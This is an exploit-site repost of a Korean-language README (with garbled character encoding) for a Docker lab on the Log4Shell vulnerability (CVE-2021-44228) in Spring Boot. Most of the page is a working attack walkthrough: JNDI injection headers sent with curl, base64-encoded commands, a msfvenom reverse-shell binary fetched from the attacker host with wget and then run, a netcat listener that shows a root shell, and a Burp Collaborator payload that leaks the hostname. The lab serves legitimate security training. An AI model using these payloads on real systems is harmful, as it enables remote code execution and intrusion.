Sploitus

Exploit for spring-boot-log4j-cve-2021-44228-docker-lab

kitploit ยท 2026-08-27

Exploit Code

MARKDOWN256 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TWSEPTIAN-SPRING-BOOT-LOG4J-CVE-2021-44228-DOCKER-LAB
# Spring Boot Log4j - CVE-2021-44228

Log4Shell ์ทจ์•ฝ์ (CVE-2021-44228)์€ ๋ณธ์งˆ์ ์œผ๋กœ ๋งค์šฐ ๋‹จ์ˆœํ•œ JNDI ์ฃผ์ž… ๊ฒฐํ•จ์ด์ง€๋งŒ, ์ •๋ง ์ •๋ง ์น˜๋ช…์ ์ธ ์œ„์น˜์— ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. Log4J๋Š” ๋กœ๊น… ๋ฉ”์‹œ์ง€์—์„œ ํ”Œ๋ ˆ์ด์Šคํ™€๋”๋ฅผ ํ™•์žฅํ•  ๋•Œ(๋˜๋Š” ํ˜•์‹ํ™”๋œ ๋ฉ”์‹œ์ง€์˜ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ๊ฐ„์ ‘์ ์œผ๋กœ) JNDI lookup()์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ...๋” ์ฝ๊ธฐ PSA: Log4Shell ๋ฐ JNDI ์ฃผ์ž…์˜ ํ˜„์žฌ ์ƒํƒœ.

## Docker ๋žฉ ์„ค์ •

_์ฐธ๊ณ :_ ์ด dockerfile์€ ์›๋ž˜ Log4Shell ์ƒ˜ํ”Œ ์ทจ์•ฝ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ (CVE-2021-44228)์—์„œ ๊ฐ€์ ธ์˜จ ๊ฒƒ์ž…๋‹ˆ๋‹ค. Log4j 2.14.1(spring-boot-starter-log4j2 2.6.1์„ ํ†ตํ•ด)๊ณผ JDK 1.8.0_181์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

CVE-2021-44228์„ ์‹ค์Šต/ํ•™์Šตํ•˜๊ธฐ ์œ„ํ•œ ์ปจํ…Œ์ด๋„ˆ ๋žฉ์ž…๋‹ˆ๋‹ค. ์ €์žฅ์†Œ๋ฅผ ํด๋ก ํ•ด ๋ด…์‹œ๋‹ค.

root@kitploit:~
    
    
    $ git clone https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab.git
    $ cd Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab/
    $ docker build spring-boot-log4j -t spring-boot-log4j-vulnerable
    $ docker run -p 8080:8080 --name spring-boot-log4j-vulnerable spring-boot-log4j-vulnerable
    

![spring-boot-v2.6.1](https://assets.kitploit.com/production/public/readmes/33767/4bc838aab89a49e4d38743ab1676d2734c65748d9b4ab52e3bdbebc079148cc0.png)

## JNDI-Injection-Exploit์„ ์‚ฌ์šฉํ•œ ๊ณต๊ฒฉ

๋Œ€์ƒ: 172.17.0.2  
๊ณต๊ฒฉ์ž: 172.17.0.1

  * https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2์—์„œ JNDIExploit ๋‹ค์šด๋กœ๋“œ `์—…๋ฐ์ดํŠธ (12์›” 13์ผ):` JNDIExploit ์ €์žฅ์†Œ๊ฐ€ GitHub์—์„œ ์ œ๊ฑฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.



root@kitploit:~
    
    
    $ cd tools/
    $ unzip JNDIExploit.v1.2.zip
    $ cd JNDIExploit.v1.2/
    $ java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
    Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
      Options:
      * -i, --ip       Local ip address
        -l, --ldapPort Ldap bind port (default: 1389)
        -p, --httpPort Http bind port (default: 8080)
        -u, --usage    Show usage (default: false)
        -h, --help     Show this help
    

  * base64๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ช…๋ น์ค„์„ ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ๋Œ€์ƒ ๋จธ์‹ ์—์„œ ๊ณต๊ฒฉ์ž ๋จธ์‹ ์œผ๋กœ ping ๋ช…๋ น์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค.



root@kitploit:~
    
    
    $ echo 'ping -c 5 172.17.0.1' | base64 -w 0
    cGluZyAtYyA1IDE3Mi4xNy4wLjEK
    

  * JNDIExploit์„ ์‚ฌ์šฉํ•˜์—ฌ ์•…์„ฑ LDAP ์„œ๋ฒ„๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.



root@kitploit:~
    
    
    $ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
    Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    [+] LDAP Server Start Listening on 1389...
    [+] HTTP Server Start Listening on 8888...
    

  * ๊ทธ๋Ÿฐ ๋‹ค์Œ ์•„๋ž˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ ๋Œ€์ƒ ๋จธ์‹ ์—์„œ ping ๋ช…๋ น์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.



root@kitploit:~
    
    
    $ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK}'
    

  * JNDIExploit์˜ ์ถœ๋ ฅ์„ ํ™•์ธํ•ด ๋ด…์‹œ๋‹ค.



root@kitploit:~
    
    
    ...
    [+] Received LDAP Query: Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK
    [+] Paylaod: command
    [+] Command: ping -c 5 172.17.0.1
    
    [+] Sending LDAP ResourceRef result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK with basic remote reference payload
    [+] Send LDAP reference result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK redirecting to http://172.17.0.1:8888/ExploitX07BVXemV5.class
    [+] New HTTP Request From /172.17.0.2:58630  /ExploitX07BVXemV5.class
    [+] Receive ClassRequest: ExploitX07BVXemV5.class
    [+] Response Code: 200
    

  * ์ด์ œ tcpdump๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋Œ€์ƒ ๋จธ์‹ ์—์„œ ์˜ค๋Š” ping ๋ช…๋ น์„ ์บก์ฒ˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.



root@kitploit:~
    
    
    $ sudo tcpdump -i docker0 icmp
    tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
    listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
    22:32:07.210584 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 0, length 64
    22:32:07.210594 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 0, length 64
    22:32:08.210938 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 1, length 64
    22:32:08.210965 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 1, length 64
    22:32:09.211367 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 2, length 64
    22:32:09.211391 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 2, length 64
    22:32:10.211569 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 3, length 64
    22:32:10.211592 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 3, length 64
    22:32:11.211814 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 4, length 64
    22:32:11.211848 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 4, length 64
    

## ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ - CTF ์Šคํƒ€์ผ "๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์–ป๋Š” ๋ฐฉ๋ฒ•"

  * msfvenom์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฆฌ๋ฒ„์Šค ์…ธ ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.



root@kitploit:~
    
    
    $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f elf -o /tmp/rev.elf
    [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
    [-] No arch selected, selecting arch: x64 from the payload
    No encoder specified, outputting raw payload
    Payload size: 74 bytes
    Final size of elf file: 194 bytes
    Saved as: /tmp/rev.elf
    

  * ๊ณต๊ฒฉ ๋จธ์‹ ์—์„œ python์„ ์‚ฌ์šฉํ•˜์—ฌ ๋กœ์ปฌ ์„œ๋ฒ„๋ฅผ ์ค€๋น„ํ•ฉ๋‹ˆ๋‹ค.



root@kitploit:~
    
    
    $ sudo python3 -m http.server 8081
    Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
    

  * ์•„๋ž˜ ๋ช…๋ น์ค„์„ `base64`๋กœ ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค.



root@kitploit:~
    
    
    wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf
    

  * base64 ์ถœ๋ ฅ์„ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.



root@kitploit:~
    
    
    $ echo 'wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf' | base64
    d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK
    

  * JNDIExploit์„ ์‚ฌ์šฉํ•˜์—ฌ ์•…์„ฑ LDAP ์„œ๋ฒ„๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.



root@kitploit:~
    
    
    $ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
    Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    [+] LDAP Server Start Listening on 1389...
    [+] HTTP Server Start Listening on 8888...
    ...
    

  * ๊ทธ๋Ÿฐ ๋‹ค์Œ ์•„๋ž˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ ์šฐ๋ฆฌ์˜ ๋ช…๋ น์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.



root@kitploit:~
    
    
    $ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK}'
    Hello, world!
    

  * ๊ณต๊ฒฉ์ž ๋จธ์‹ ์—์„œ netcat ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. `nc -lvnp 4444`, ๊ทธ๋Ÿฌ๋ฉด netcat์ด ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.



root@kitploit:~
    
    
    $ nc -lvnp 4444
    Ncat: Version 7.92 ( https://nmap.org/ncat )
    Ncat: Listening on :::4444
    Ncat: Listening on 0.0.0.0:4444
    Ncat: Connection from 172.17.0.2.
    Ncat: Connection from 172.17.0.2:42176.
    id
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
    whoami
    root
    

  * JNDIExploit์˜ ์ถœ๋ ฅ



root@kitploit:~
    
    
    ...
    [+] Received LDAP Query: Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK
    [+] Paylaod: command
    [+] Command: wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf
    
    [+] Sending LDAP ResourceRef result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK with basic remote reference payload
    [+] Send LDAP reference result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK redirecting to http://172.17.0.1:8888/ExploitgV2vh72T6X.class
    [+] New HTTP Request From /172.17.0.2:58650  /ExploitgV2vh72T6X.class
    [+] Receive ClassRequest: ExploitgV2vh72T6X.class
    [+] Response Code: 200
    

## burp suite collaborator๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ˜ธ์ŠคํŠธ ์ด๋ฆ„ ์–ป๊ธฐ

  * ํŽ˜์ด๋กœ๋“œ



root@kitploit:~
    
    
    ${jndi:ldap://${hostName}.our-link.burpcollaborator.net/}
    

![dns-query.png](https://assets.kitploit.com/production/public/readmes/33767/fbbe738d00f65b6bd0bfd1c3ccd3b871f6fe0b3b33ee9c4f15a7bffc26828ac4.png)

์ฐธ๊ณ  ์ž๋ฃŒ:

  * Log4Shell: ์ธ๊ธฐ ์žˆ๋Š” Java ๋กœ๊น… ํŒจํ‚ค์ง€์ธ log4j 2์—์„œ ๋ฐœ๊ฒฌ๋œ RCE 0-day ์ทจ์•ฝ์ 
  * PSA: Log4Shell ๋ฐ JNDI ์ฃผ์ž…์˜ ํ˜„์žฌ ์ƒํƒœ
  * Log4Shell ์ƒ˜ํ”Œ ์ทจ์•ฝ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ (CVE-2021-44228)
  * JNDIExploit `์—…๋ฐ์ดํŠธ (12์›” 13์ผ): JNDIExploit ์ €์žฅ์†Œ๊ฐ€ GitHub์—์„œ ์ œ๊ฑฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.`